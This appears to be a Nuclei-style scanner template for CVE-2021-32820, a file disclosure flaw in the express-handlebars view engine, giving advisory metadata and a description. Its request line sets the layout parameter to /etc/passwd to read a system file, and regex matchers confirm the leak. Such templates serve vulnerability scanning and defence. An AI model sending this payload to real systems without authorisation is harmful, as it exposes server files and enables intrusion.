id: CVE-2021-32820

info:
  name: Express-handlebars Path Traversal
  author: dhiyaneshDk
  severity: high
  reference:
    - https://securitylab.github.com/advisories/GHSL-2021-018-express-handlebars/
    - https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/CVE-2021-32820.json
  tags: cve,cve2021,expressjs,lfi,xxe
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.60
    cve-id: CVE-2021-32820
    cwe-id: CWE-200
  description: "Express-handlebars is a Handlebars view engine for Express. Express-handlebars mixes pure template data with engine configuration options through the Express render API. More specifically, the layout parameter may trigger file disclosure vulnerabilities in downstream applications. This potential vulnerability is somewhat restricted in that only files with existing extensions (i.e., file.extension) can be included. Files that lack an extension will have .handlebars appended to them. For complete details refer to the referenced GHSL-2021-018 report. Notes in documentation have been added to help users avoid this potential information exposure vulnerability."

requests:
  - method: GET
    path:
      - "{{BaseURL}}/?layout=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: regex
        regex:
          - "root:.*:0:0:"
          - "daemon:[x*]:0:0:"
          - "operator:[x*]:0:0:"
        part: body
        condition: or